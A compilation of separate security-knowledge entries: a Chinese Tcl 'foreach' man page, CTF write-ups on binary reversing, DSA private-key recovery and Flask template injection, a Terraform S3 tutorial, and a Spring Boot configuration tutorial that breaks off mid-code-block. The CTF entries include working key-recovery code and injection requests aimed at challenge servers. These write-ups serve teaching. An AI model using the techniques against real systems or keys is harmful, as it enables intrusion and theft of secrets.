.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH foreach 3tcl "" Tcl "Tcl Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
foreach \- 在一个或多个列表的所有元素上重复
.SH "总览 SYNOPSIS"
\fBforeach \fIvarname list body\fR
.br
\fBforeach \fIvarlist1 list1\fR ?\fIvarlist2 list2 ...\fR? \fIbody\fR
.BE
.SH "描述 DESCRIPTION"
.PP
\fBforeach\fR 命令实现一个循环,在这里循环变量从一个或多个列表接受值。在最简单的情况下,这里有一个循环变量 \fIvarname\fR ,和一个列表 \fIlist\fR,它是要赋给 \fIvarname\fR 的值的一个列表。\fIbody\fR 参数是一个 Tcl 脚本。对于 \fIlist\fR 的每个元素(按从最先到最后的次序),\fBforeach\fR 把这个元素的内容赋给 \fIvarname\fR,如同使用 \fBlindex\fR 命令提取元素一样,接着调用 Tcl 解释器来执行 \fIbody\fR。
.PP
在一般的情况下,这里可以有多于一个的值列表(例如,\fIlist1\fR和 \fIlist2\fR),并且每个值列表可以与一个循环变量的列表相关联。(例如,\fIvarlist1\fR 和 \fIvarlist2\fR)。 在循环的每次重复期间每个 \fIvarlist\fR 中的变量被赋与相应的\fIlist \fR中的连续的值。在每 个\fIlist\fR 中的值按从最先到最后的次序被使用,并且每个值被准确的使用一次。循环重复的总数足够的大来用光所有列表的所有的值。如果一个值的列表不包含足够元素,供给每次重复中的每个循环变量,则给遗漏的元素使用空值。
.PP
\fBbreak\fR 和 \fBcontinue\fR 语句可以在 \fIbody \fR中调用,与在 \fBfor\fR 命令中有相同的效果。\fBForeach\fR 返回一个空串。
.SH "范例 EXAMPLES"
.PP
下面的循环使用 i 和 j 作为循环变量在一个单一的列表的一对元素上重复。
.DS
set x {}
foreach {i j} {a b c d e f} {
lappend x $j $i
}
# The value of x is "b a d c f e"
# There are 3 iterations of the loop.
.DE
.PP
下一个循环使用 i 和 j 在两个并行的列表上重复。
.DS
set x {}
foreach i {a b c} j {d e f g} {
lappend x $i $j
}
# The value of x is "a d b e c f {} g"
# There are 4 iterations of the loop.
.DE
.PP
在下面例子中组合了两种形式。
.DS
set x {}
foreach i {a b c} {j k} {d e f g} {
lappend x $i $j $k
}
# The value of x is "a d e b f g c {} {}"
# There are 3 iterations of the loop.
.DE
.SH "参见 SEE ALSO"
for(n), while(n), break(n), continue(n)
.SH "关键字 KEYWORDS"
foreach, iteration, list, looping
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/08/05
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# Warmup (RE, 397p, 63 solved)
It's a classic reversing challenge.
We get a [binary](warmup), ELF x64, statically compiled.
In the strings we can see something resembling a permutated flag:
```asm
00000000004a171b db 0x4f ; 'O' ; DATA XREF=sub_4009d8+12
00000000004a171c db 0x00 ; '.'
00000000004a171d db 0x5f ; '_' ; DATA XREF=sub_4009d8+36, sub_4009d8+276, sub_4009d8+300, sub_4009d8+396, sub_4009d8+564
00000000004a171e db 0x00 ; '.'
00000000004a171f db 0x75 ; 'u' ; DATA XREF=sub_4009d8+60, sub_4009d8+588
00000000004a1720 db 0x00 ; '.'
00000000004a1721 db 0x74 ; 't' ; DATA XREF=sub_4009d8+84, sub_4009d8+372
00000000004a1722 db 0x00 ; '.'
00000000004a1723 db 0x31 ; '1' ; DATA XREF=sub_4009d8+108, sub_4009d8+228
00000000004a1724 db 0x00 ; '.'
00000000004a1725 db 0x7b ; '{' ; DATA XREF=sub_4009d8+132
00000000004a1726 db 0x00 ; '.'
00000000004a1727 db 0x6a ; 'j' ; DATA XREF=sub_4009d8+156
00000000004a1728 db 0x00 ; '.'
00000000004a1729 db 0x73 ; 's' ; DATA XREF=sub_4009d8+180, sub_4009d8+252
00000000004a172a db 0x00 ; '.'
00000000004a172b db 0x68 ; 'h' ; DATA XREF=sub_4009d8+204
00000000004a172c db 0x00 ; '.'
00000000004a172d db 0x3f ; '?' ; DATA XREF=sub_4009d8+324
00000000004a172e db 0x00 ; '.'
00000000004a172f db 0x35 ; '5' ; DATA XREF=sub_4009d8+348
00000000004a1730 db 0x00 ; '.'
00000000004a1731 db 0x34 ; '4' ; DATA XREF=sub_4009d8+420, sub_4009d8+492
00000000004a1732 db 0x00 ; '.'
00000000004a1733 db 0x4b ; 'K' ; DATA XREF=sub_4009d8+444
00000000004a1734 db 0x00 ; '.'
00000000004a1735 db 0x77 ; 'w' ; DATA XREF=sub_4009d8+468
00000000004a1736 db 0x00 ; '.'
00000000004a1737 db 0x72 ; 'r' ; DATA XREF=sub_4009d8+516
00000000004a1738 db 0x00 ; '.'
00000000004a1739 db 0x6d ; 'm' ; DATA XREF=sub_4009d8+540
00000000004a173a db 0x00 ; '.'
00000000004a173b db 0x70 ; 'p' ; DATA XREF=sub_4009d8+608
00000000004a173c db 0x00 ; '.'
00000000004a173d db 0x45 ; 'E' ; DATA XREF=sub_4009d8+628
00000000004a173e db 0x00 ; '.'
00000000004a173f db 0x7d ; '}' ; DATA XREF=sub_4009d8+648
```
If we look at how those values are used we can see a clear pattern:
```asm
00000000004009dc mov eax, 0x6ccd62
00000000004009e1 movzx edx, byte [rax]
00000000004009e4 mov eax, 0x4a171b
00000000004009e9 movzx eax, byte [rax]
00000000004009ec cmp dl, al
00000000004009ee jne loc_400d58
00000000004009f4 mov eax, 0x6ccd72
00000000004009f9 movzx edx, byte [rax]
00000000004009fc mov eax, 0x4a171d
0000000000400a01 movzx eax, byte [rax]
0000000000400a04 cmp dl, al
0000000000400a06 jne loc_400d51
0000000000400a0c mov eax, 0x6ccd6d
0000000000400a11 movzx edx, byte [rax]
0000000000400a14 mov eax, 0x4a171f
0000000000400a19 movzx eax, byte [rax]
0000000000400a1c cmp dl, al
0000000000400a1e jne loc_400d4a
0000000000400a24 mov eax, 0x6ccd67
0000000000400a29 movzx edx, byte [rax]
0000000000400a2c mov eax, 0x4a1721
0000000000400a31 movzx eax, byte [rax]
0000000000400a34 cmp dl, al
0000000000400a36 jne loc_400d43
0000000000400a3c mov eax, 0x6ccd69
0000000000400a41 movzx edx, byte [rax]
0000000000400a44 mov eax, 0x4a1723
0000000000400a49 movzx eax, byte [rax]
0000000000400a4c cmp dl, al
0000000000400a4e jne loc_400d3c
```
and more checks like this following.
Target for the `jne` jump is finishing without printing "valid!".
It looks like a perfect binary for angr, but for some reason we had issues with running angr on it, and we decided it will be faster to do it just with gdb script, instead of trying to fix the angr issue.
What we want to do:
1. Break at the point in binary where the pattern of comparison-and-jump starts -> `0x4009dc`
2. Move to the point where address of our input byte is loaded and save this address, so that we know which byte was checked.
3. Move to comparison and save the expected byte value
4. Set our value to the expected one, so the comparison passes and we go to the next character
5. We now know which address of our input bytes was supposed to be a certain flag byte, and since those addresses are from a single memory block, we can just sort it to get the flag.
```python
import gdb
import codecs
import string
flag = []
gdb.execute("break *0x4009dc")
gdb.execute("r <<< $(echo 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')")
for i in range(28):
for i in range(2):
gdb.execute("n")
addr = int(str(gdb.parse_and_eval("$eax")),16)
for i in range(2):
gdb.execute("n")
value = chr(int(str(gdb.parse_and_eval("$eax")),16))
flag.append((addr, value))
gdb.execute("set $dl = $al")
for i in range(2):
gdb.execute("n")
gdb.execute("c")
flag = sorted(flag, key=lambda x: x[0])
print("".join([c[1] for c in flag]))
```
Which gives us the flag: `EKO{1s_th1s_ju5t_4_w4rm_up?}`
|
sec-knowleage
|
## Dsa (Crypto, 333p)
###ENG
[PL](#pl-version)
We are given following python code - it is supposed to sign messages:
```python
#!/usr/bin/python
from hashlib import *
from Crypto.Util.number import *
from gmpy import *
import os
def param_gen():
q = getPrime(1024)
while True:
t = 2*getRandomRange(1, 2**256)
p = t*q + 1
if is_prime(p):
break
while True:
h = getRandomRange(1, p-1)
g = pow(h, (p-1)/q, p)
if g != 1:
break
return (p, q, g)
def key_gen(params):
p, q, g = params
x = getRandomRange(1, q)
y = pow(g, x, p)
pubkey, privkey = y, x
return pubkey, privkey
def sign(msg, privkey, params):
p, q, g = params
while True:
k = getRandomRange(1, 1024) * pow(pubkey, privkey, p) % q
r = pow(g, k, p) % q
s = invert(k, q) * ( int(sha512(msg).hexdigest(), 16) + privkey * r) % q
if r*s != 0 :
break
return (int(r), int(s))
def verify(msg, signature, pubkey, params):
p, q, g = params
r, s = signature
if (0 < r < q) and (0 < s < q) :
w = invert(s, q)
u1 = (int(sha512(msg).hexdigest(), 16) * w) % q
u2 = (r * w) % q
v = ((pow(g, u1, p) * pow(pubkey, u2, p)) % p) % q
if v == r:
return True
return False
params = param_gen()
p, q, g = params
print params
pubkey, privkey = key_gen(params)
for i in range(0, 40):
msg = 'ASIS{' + os.urandom(16).encode('hex') + '}'
signature = sign(msg, privkey, params)
r, s = signature
print str((msg, r, s))
```
This challenge asks us to recover private key (x) given only a handful (around 40) signatures, public key, and public parameters given (attached to this solution in github).
After a while, we find a vulnerability in this challenge -
```python
k = getRandomRange(1, 1024) * pow(pubkey, privkey, p) % q
```
This is obviously insecure, as only 1024 ks can possibly be generated. If only we could recover k, this challenge would be trivial - given k we can calculate privkey from linear equation:
```python
s = invert(k, q) * ( int(sha512(msg).hexdigest(), 16) + privkey * r) % q
<=>
s * k - int(sha512(msg).hexdigest(), 16) * invert(r, q) % q = privkey
```
But we don't know k... yet.
After another while, we noticed that if we could find two messages encrypted with the same k, challenge would be easy again. We could solve system of linear equations:
```
s = invert(k, q) * ( int(sha512(msg0).hexdigest(), 16) + privkey * r) % q
s = invert(k, q) * ( int(sha512(msg1).hexdigest(), 16) + privkey * r) % q
```
...where k and privkey are unknowns. But again, this wasn't the case in this challenge.
And finally, when we began to fall into the pit od despair, we noticed that we could create another system of linear equations. Because k = (1..1024) * MAGIC (where `MAGIC = pow(publickey, privkey)`, but it's not important), we can write above equations as:
```
s = invert(k1 * MAGIC, q) * (int(sha512(msg0).hexdigest(), 16) + privkey * r) % q
s = invert(k2 * MAGIC, q) * (int(sha512(msg1).hexdigest(), 16) + privkey * r) % q
```
In more mathematical terms, we can solve this system of equations as follows:
```
s1 = (c1 + priv*r1) / (k1*magic)
s2 = (c2 + priv*r2) / (k2*magic)
1 = (c1 + priv*r1) / (k1*magic*s1)
1 = (c2 + priv*r2) / (k2*magic*s2)
(c1 + priv*r1) / (k1*magic*s1) = (c2 + priv*r2) / (k2*magic*s2)
(c1 + priv*r1) * (k2*magic*s2) = (c2 + priv*r2) * (k1*magic*s1)
c1*k2*magic*s2 + priv*r1*k2*magic*s2 = c2*k1*magic*s1 + priv*r2*k1*magic*s1
c1*k2*s2 + priv*r1*k2*s2 = c2*k1*s1 + priv*r2*k1*s1
priv*r1*k2*s2 - priv*r2*k1*s1 = c2*k1*s1 - c1*k2*s2
priv*(r1*k2*s2 - r2*k1*s1) = c2*k1*s1 - c1*k2*s2
priv = (c2*k1*s1 - c1*k2*s2) / (r1*k2*s2 - r2*k1*s1)
```
Great, we have private key! But we have to bruteforce 1024 possible values of k1 and k2. It's easy enough in python:
```python
from hashlib import *
from Crypto.Util.number import *
from gmpy import *
import os
def hash(msg):
return int(sha512(msg).hexdigest(), 16)
def solve_for(params, set1, set2):
p, q, g = params
msg1, r1, s1 = set1
msg2, r2, s2 = set2
c1, c2 = hash(msg1), hash(msg2)
for k1 in range(1, 1024):
print k1
for k2 in range(1, 1024):
priv = (c2*k1*s1 - c1*k2*s2) * invert(r1*k2*s2 - r2*k1*s1, q) % q
if pubkey == pow(g, priv, p):
print priv
params = (
19990043472646209601994864878783430356973105946195950979159251182377121897576105462833887676561348770957108482823143337701724893247634876231133001112659622843245186144815694000013210989382541478073551247763586093331215996260234193847013210807939190828438263706901950228866893621933887960930392778176297205331569773161563794018138992335091883899396920586572927792555042350138728812073331L, 91629484598379105033512409529628860433949558415030791938154302542936417405614272511539966765257644706180090102931421315331051281240103609205686784098900471134711603588304765157414857991689054932897002635007537146809343047302801243835776634361209432398032301656027511721047704054332653738042312201931970395721L, 13622145302845273763875935516952425125176393702394844695432724066597834898277677169908234619701079219174550050531086255052810547971127992364106395259623997686454799745423099095097056224348731737512112568608406081844751809559052204755863089238863185755017905098158596830866362329243334855589147537151782745634416243769180780246626300677625340613515232605024658651528787608437872606367959L)
set1 = ('ASIS{f178fcdecf80695744078436c8443d21}', 90237121958952251064976624492762150213417521896687572941345633764310618911601030617031373795520024583293535375710106225552196376797438589929204291257545448726331743603280815369427093966770848920593554708454565838054224752549404158493278464435213107237527453340811242850765181020853492694252650516970176641788L, 45699965566033911695982803604354032305058506238185457115666900773211243249439993822400900118887663777494151014067272471514622506941212402877792085312967213090334714190020080393819021065260516916603206309212756987461405393121419856054170230373811099272880018713486783939408418428725471847346917597357388173871L)
set2 = ('ASIS{13d82a52a86b3f60d1d5d0a9a8fbd38c}', 82549501691566010240713957921730895287132128726058380260123211081436703044836270709304732846086147549660502736557189123678902405383474467404416541210982435469292602012427497998459504126706153698217704534579606635614323510632001857553260216879546038347723055837869594047336385462982125121614977106061534077159L, 14100015776662279808055950447194278668824709578034279558537621662053558677298084425976090376958899238099311275299915689425374231782256233762239739696534102757257328540054634833325260578944419955606514868448883176935887227050496260234118031035188783965371809668020726016057511098782430965590465392354859239207L)
pubkey = 5120206348411789470161536127663499609309512038887109068976130122757582186109731229884381538683899917243667766639035225751229538595906667027298668257572271684995053081914448593696545954848592131805237134557157103971058735552127997038702518466039596176245969237004179261427946425137677159565508198606851760199742107673019486271187331752618149416170682584515782866631954825392784384052948
solve_for(params, set1, set2)
```
And we finally get our flag: ASIS{1e58445616cd5178632ae15bef51c4a3}
###PL version
to be done?
|
sec-knowleage
|
---
title: CF 使用答疑
---
## CF 使用答疑
在 CF 项目的 [Discussions](https://github.com/teamssix/cf/discussions) 板块里,我创建了一个答疑帖,如果你遇到和 CF 相关的使用问题,可以在这里提出,我会给出相应的解答,同时这里也汇总了之前一些人问过的一些问题。
CF 答疑帖地址:[github.com/teamssix/cf/discussions/250](https://github.com/teamssix/cf/discussions/250)
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2023 年 7 月 5 日"
}
}
</script>
|
sec-knowleage
|
# Portfolio
Web, 150 points
## Description
> Check out my development portfolio! I'm just getting started, so don't be too mean :(
## Solution
We visit the attached site and see:
```html
<body>
<header>
<h1 align="center">Welcome to my dev portfolio!</h1>
<h3 align="center">check out my cool projects</h3>
</header>
<br>
<h2> Projects </h2>
<ul>
<li><a href="/hello/name">Custom greeting</a></li>
<li><a href="/render.html">Dynamic page rendering</a></li>
</ul>
</body>
```
The first link leads to a very simple page:
```console
root@kali:~# curl "http://archive.sunshinectf.org:19009/hello/name" && echo
<html>
<head>
<title>Templating in Flask</title>
</head>
<body>
<h1>Hello name!</h1>
<p>Welcome to the world of Flask!</p>
</body>
</html>
```
Such challenges usually lead to [template injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection), so let's try that here:
```console
root@kali:~# curl "http://archive.sunshinectf.org:19009/hello/\{\{4*4\}\}" && echo
<html>
<head>
<title>Templating in Flask</title>
</head>
<body>
<h1>Hello {{4*4}}!</h1>
<p>Welcome to the world of Flask!</p>
</body>
</html>
```
The template was not evaluated, so this page isn't vulnerable to such an attack.
Moving on, we have we have the "Dynamic page rendering" page:
```console
root@kali:~# curl "http://archive.sunshinectf.org:19009/render.html" && echo
<form action="/render" method="post">
Page to load:<br>
<select name="template">
<option value="templates/matches.html">My favorite matches</option>
<option value="templates/teams.html">Some cool tag teams</option>
<!-- <option value="templates/admin.html">admin</option>-->
</select>
<input type="submit" value="Submit">
</form>
```
Let's try to visit all three options (including the commented out admin page):
```console
root@kali:~# curl "http://archive.sunshinectf.org:19009/render" -X POST --data "template=templates/matches.html" && echo
Some cool matches
root@kali:~# curl "http://archive.sunshinectf.org:19009/render" -X POST --data "template=templates/teams.html" && echo
some cool teams
root@kali:~# curl "http://archive.sunshinectf.org:19009/render" -X POST --data "template=templates/admin.html" && echo
Hi there!
```
Nothing much. However, if we inspect "admin.html" directly, we get an interesting result:
```console
root@kali:~# curl "http://archive.sunshinectf.org:19009/templates/admin.html" && echo
{% if config.DEBUG %}
{{config.FLAG}}
{% endif %}
Hi there!
```
In debug mode, the flag would have been outputted. Can we trigger debug mode? Not in an apparent way. However, we can use the "hello" page we saw earlier in order to create a template that would reveal the flag:
```console
root@kali:~# curl "http://archive.sunshinectf.org:19009/hello/\{\{config.FLAG\}\}" && echo
<html>
<head>
<title>Templating in Flask</title>
</head>
<body>
<h1>Hello {{config.FLAG}}!</h1>
<p>Welcome to the world of Flask!</p>
</body>
</html>
root@kali:~# curl "http://archive.sunshinectf.org:19009/render" -X POST --data "template=hello/{{config.FLAG}}" && echo
<html>
<head>
<title>Templating in Flask</title>
</head>
<body>
<h1>Hello sun{5l33333p_15_f0r_7h3_w34k}!</h1>
<p>Welcome to the world of Flask!</p>
</body>
</html>
```
|
sec-knowleage
|
---
title: Terraform 初体验
---
<center><h1>Terraform 初体验</h1></center>
---
在使用 Terraform 之前,需要先在对应的云厂商控制台上生成一个 Access Key,这里以在 AWS 上创建一个 S3 服务为例。
首先新建一个文件夹,例如 demo 文件夹,接着在里面创建一个 s3demo.tf 文件,文件内容如下:
```json
provider "aws" {
region = "us-west-1"
access_key = "your-access-key"
secret_key = "your-secret-key"
}
resource "aws_s3_bucket" "b" {
bucket = "my-tf-test-bucket-asdqqsdasd"
tags = {
Name = "My bucket"
Environment = "Dev"
}
}
resource "aws_s3_bucket_acl" "example" {
bucket = aws_s3_bucket.b.id
acl = "private"
}
```
tf 文件采用的是 HCL 格式,HCL 格式是 Terraform 所属公司 HashiCorp 自己设计的一套配置语言
在 demo 文件夹下,运行一下初始化命令,这时 Terraform 会通过官方插件仓库下载对应的 Provider 插件
```bash
terraform init
```
<img width="1000" src="/img/1650009336.png">
因为我们这里的 s3demo.tf 里的 Provider 是 AWS,所以在初始化时,Terraform 就会去下载 AWS 的 Provider 插件
在 https://registry.terraform.io/browse/providers 可以看到 Terraform 所支持的厂商,这里基本上是涵盖了大部分云厂商的。
<img width="1200" src="/img/1650009369.png">
接着使用 plan 命令查看接下来将要产生的变更
```bash
terraform plan
```
<img width="1000" src="/img/1650011645.png">
如果没什么问题,就可以应用了
```bash
terraform apply
```
<img width="1000" src="/img/1650011657.png">
中途会提示确认,输入 yes 即可
在 Terraform 执行完之后,查看 AWS 下的 S3 就可以看到刚刚通过 Terraform 创建的资源了。
<img width="1000" src="/img/1650011705.png">
这样就完成了使用 Terraform 部署云资源的一个过程,想要清理刚刚创建的资源也非常简单,直接 destroy 即可
```bash
terraform destroy
```
<img width="1000" src="/img/1650011740.png">
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2022年4月15日"
}
}
</script>
|
sec-knowleage
|
# 配置文件
---
Spring Boot 针对我们常用的开发场景提供了一系列自动化配置来减少原本复杂而又几乎很少改动的模板化配置内容。但是,我们还是需要去了解如何在 Spring Boot 中修改这些自动化的配置内容,以应对一些特殊的场景需求,比如:我们在同一台主机上需要启动多个基于 Spring Boot 的 web 应用,若我们不为每个应用指定特别的端口号,那么默认的 8080 端口必将导致冲突。
## 配置基础
src/main/resources 目录是 Spring Boot 的配置目录,所以我们要为应用创建配置个性化配置时,就是在该目录之下。
Spring Boot 的默认配置文件位置为: src/main/resources/application.properties。
关于 Spring Boot 应用的配置内容都集中在该文件中,根据我们引入的不同 Starter 模块,可以在这里定义诸如:容器端口名、数据库链接信息、日志级别等各种配置信息。
比如,我们需要自定义 web 模块的服务端口号,可以在 application.properties 中添加 `server.port=8888` 来指定服务端口为 8888,也可以通过 `spring.application.name=hello` 来指定应用名(该名字在 Spring Cloud 应用中会被注册为服务名)。
Spring Boot 的配置文件除了可以使用传统的 properties 文件之外,还支持现在被广泛推荐使用的 YAML 文件。
如下
```yaml
environments:
dev:
url: http://dev.bar.com
name: Developer Setup
prod:
url: http://foo.bar.com
name: My Cool App
```
与其等价的properties配置如下。
```conf
environments.dev.url=http://dev.bar.com
environments.dev.name=Developer Setup
environments.prod.url=http://foo.bar.com
environments.prod.name=My Cool App
```
通过 YAML 的配置方式,我们可以看到配置信息利用阶梯化缩进的方式,其结构显得更为清晰易读,同时配置内容的字符量也得到显著的减少。除此之外,YAML 还可以在一个单个文件中通过使用 spring.profiles 属性来定义多个不同的环境配置。
例如下面的内容,在指定为 test 环境时,server.port 将使用 8882 端口;而在 prod 环境,server.port 将使用 8883 端口;如果没有指定环境,server.port 将使用 8881 端口。
```yaml
server:
port: 8881
---
spring:
profiles: test
server:
port: 8882
---
spring:
profiles: prod
server:
port: 8883
```
---
## 自定义参数
我们除了可以在 Spring Boot 的配置文件中设置各个 Starter 模块中预定义的配置属性,也可以在配置文件中定义一些我们需要的自定义属性。比如在 application.properties 中添加:
```conf
book.name=SpringCloudInAction
book.author=zhangsan
```
然后,在应用中我们可以通过 @Value 注解来加载这些自定义的参数,比如:
```java
@Component
public class Book {
@Value("${book.name}")
private String name;
@Value("${book.author}")
private String author;
// 省略getter和setter
}
```
@Value 注解加载属性值的时候可以支持两种表达式来进行配置:
- 一种是我们上面介绍的 PlaceHolder 方式,格式为 `${...}` ,大括号内为 PlaceHolder
- 另外还可以使用 SpEL 表达式(Spring Expression Language), 格式为 `#{...}` ,大括号内为 SpEL 表达式
---
## 参数引用
在 application.properties 中的各个参数之间,我们也可以直接通过使用 PlaceHolder 的方式来进行引用,就像下面的设置:
```
book.name=SpringCloud
book.author=zhangsan
book.desc=${book.author} is writing《${book.name}》
```
book.desc 参数引用了上文中定义的 book.name 和 book.author 属性,最后该属性的值就是 zhangsan is writing《SpringCloud》。
---
## 使用随机数
在一些特殊情况下,有些参数我们希望它每次加载的时候不是一个固定的值,比如:密钥、服务端口等。在 Spring Boot 的属性配置文件中,我们可以通过使用 `${random}` 配置来产生随机的 int 值、long 值或者 string 字符串,这样我们就可以容易的通过配置来属性的随机生成,而不是在程序中通过编码来实现这些逻辑。
`${random}` 的配置方式主要有以下几种
```conf
# 随机字符串
com.example.blog.value=${random.value}
# 随机int
com.example.blog.number=${random.int}
# 随机long
com.example.blog.bignumber=${random.long}
# 10以内的随机数
com.example.blog.test1=${random.int(10)}
# 10-20的随机数
com.example.blog.test2=${random.int[10,20]}
```
---
## 命令行参数
我们可以使用命令 java -jar 命令来启动的方式启动 Spring Boot 应用。该命令除了启动应用之外,还可以在命令行中来指定应用的参数,比如:`java -jar xxx.jar --server.port=8888` ,直接以命令行的方式,来设置 server.port 属性,另启动应用的端口设为 8888。
在命令行方式启动 Spring Boot 应用时,连续的两个减号 `--` 就是对 application.properties 中的属性值进行赋值的标识。所以,`java -jar xxx.jar --server.port=8888` 命令,等价于我们在 application.properties 中添加属性 `server.port=8888`。
通过命令行来修改属性值是 Spring Boot 非常重要的一个特性,通过此特性,理论上已经使得我们应用的属性在启动前是可变的,所以其中端口号也好、数据库连接也好,都是可以在应用启动时发生改变,而不同于以往的 Spring 应用通过 Maven 的 Profile 在编译器进行不同环境的构建。其最大的区别就是,Spring Boot 的这种方式,可以让应用程序的打包内容,贯穿开发、测试以及线上部署,而 Maven 不同 Profile 的方案每个环境所构建的包,其内容本质上是不同的。但是,如果每个参数都需要通过命令行来指定,这显然也不是一个好的方案,所以我们可以在 Spring Boot 中实现多环境的配置。
---
## 多环境配置
我们在开发任何应用的时候,通常同一套程序会被应用和安装到几个不同的环境,比如:开发、测试、生产等。其中每个环境的数据库地址、服务器端口等等配置都会不同,如果在为不同环境打包时都要频繁修改配置文件的话,那必将是个非常繁琐且容易发生错误的事。
对于多环境的配置,各种项目构建工具或是框架的基本思路是一致的,通过配置多份不同环境的配置文件,再通过打包命令指定需要打包的内容之后进行区分打包,Spring Boot也不例外,或者说更加简单。
在 Spring Boot 中多环境配置文件名需要满足 `application-{profile}.properties` 的格式,其中 `{profile}` 对应你的环境标识,比如:
- application-dev.properties:开发环境
- application-test.properties:测试环境
- application-prod.properties:生产环境
至于哪个具体的配置文件会被加载,需要在 application.properties 文件中通过 spring.profiles.active 属性来设置,其值对应配置文件中的 `{profile}` 值。如:spring.profiles.active=test 就会加载 application-test.properties 配置文件内容。
下面,以不同环境配置不同的服务端口为例,进行样例实验。
针对各环境新建不同的配置文件 application-dev.properties、application-test.properties、application-prod.properties
在这三个文件均都设置不同的 server.port 属性,如:dev 环境设置为 1111,test 环境设置为 2222,prod 环境设置为 3333
application.properties 中设置 `spring.profiles.active=dev` ,就是说默认以 dev 环境设置
测试不同配置的加载
- 执行 java -jar xxx.jar,可以观察到服务端口被设置为 1111,也就是默认的开发环境(dev)
- 执行 java -jar xxx.jar --spring.profiles.active=test,可以观察到服务端口被设置为 2222,也就是测试环境的配置(test)
- 执行 java -jar xxx.jar --spring.profiles.active=prod,可以观察到服务端口被设置为 3333,也就是生产环境的配置(prod)
按照上面的实验,可以如下总结多环境的配置思路:
- application.properties中配置通用内容,并设置spring.profiles.active=dev,以开发环境为默认配置
- application-{profile}.properties中配置各个环境不同的内容
- 通过命令行方式去激活不同环境的配置
---
## 加载顺序
在上面的例子中,我们将 Spring Boot 应用需要的配置内容都放在了项目工程中,虽然我们已经能够通过 spring.profiles.active 或是通过 Maven 来实现多环境的支持。但是,当我们的团队逐渐壮大,分工越来越细致之后,往往我们不需要让开发人员知道测试或是生成环境的细节,而是希望由每个环境各自的负责人(QA 或是运维)来集中维护这些信息。那么如果还是以这样的方式存储配置内容,对于不同环境配置的修改就不得不去获取工程内容来修改这些配置内容,当应用非常多的时候就变得非常不方便。同时,配置内容都对开发人员可见,本身这也是一种安全隐患。对此,现在出现了很多将配置内容外部化的框架和工具,后续将要介绍的 Spring Cloud Config 就是其中之一,为了后续能更好的理解 Spring Cloud Config 的加载机制,我们需要对 Spring Boot 对数据文件的加载机制有一定的了解。
Spring Boot 为了能够更合理的重写各属性的值,使用了下面这种较为特别的属性加载顺序:
1. 命令行中传入的参数。
2. SPRING_APPLICATION_JSON 中的属性. SPRING_APPLICATION_JSON 是以 JSON 格式配置在系统环境变量中的内容。
3. java:comp/env 中的 JNDI 属性。
4. Java 的系统属性,可以通过 `System.getProperties()` 获得的内容。
5. 操作系统的环境变量
6. 通过 random.* 配置的随机属性
7. 位于当前应用 jar 包之外,针对不同 `{profile}` 环境的配置文件内容,例如:`application-{profile}.properties` 或是 YAML 定义的配置文件
8. 位于当前应用 jar 包之内,针对不同 `{profile}` 环境的配置文件内容,例如:`application-{profile}.properties` 或是 YAML 定义的配置文件
9. 位于当前应用 jar 包之外的 application.properties 和 YAML 配置内容
10. 位于当前应用 jar 包之内的 application.properties 和 YAML 配置内容
11. 在 `@Configuration` 注解修改的类中,通过 `@PropertySource` 注解定义的属性
12. 应用默认属性,使用 `SpringApplication.setDefaultProperties` 定义的内容
优先级按上面的顺序有高到低,数字越小优先级越高。
可以看到,其中第 7 项和第 9 项都是从应用 jar 包之外读取配置文件,所以,实现外部化配置的原理就是从此切入,为其指定外部配置文件的加载位置来取代 jar 包之内的配置内容。通过这样的实现,我们的工程在配置中就变的非常干净,我们只需要在本地放置开发需要的配置即可,而其他环境的配置就可以不用关心,由其对应环境的负责人去维护即可。
---
## 配置元数据
元数据信息,可以帮助IDE来完成配置联想和配置提示的展示
配置元数据的自动生成
第一步:创建一个配置类,定义一个自定义配置
```java
@Data
@Configuration
@ConfigurationProperties(prefix = "com.test")
public class testProperties {
/**
* 这是一个测试配置
*/
private String from;
}
```
第二步:在pom.xml中添加自动生成配置元数据的依赖
```xml
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-configuration-processor</artifactId>
</dependency>
```
第三步:mvn install下这个项目。
此时我们可以在工程target目录下找到元数据文件.
---
## 加密配置中的敏感信息
**为什么要加密**
可能很多初学者,对于配置信息的加密并不敏感,因为开始主要接触本地的开发,对于很多安全问题并没有太多的考虑。而现实中,我们的配置文件中,其实包含着大量与安全相关的敏感信息,比如:数据库的账号密码、一些服务的密钥等。这些信息一旦泄露,对于企业的重要数据资产,那是相当危险的。 所以,对于这些配置文件中存在的敏感信息进行加密,是每个成熟开发团队都一定会去的事。
**jasypt-spring-boot**
- https://github.com/ulisesbocchio/jasypt-spring-boot
先创建一个基础的Spring Boot项目
设计一个参数和单元测试,用来输出这个配置信息
准备加密的配置:
```
datasource.password=test.com
```
用来输出配置信息的单元测试:
```java
@Slf4j
@SpringBootTest
public class PropertiesTest {
@Value("${datasource.password:}")
private String password;
@Test
public void test() {
log.info("datasource.password : {}", password);
}
}
```
执行这个单元测试,会输出:
```
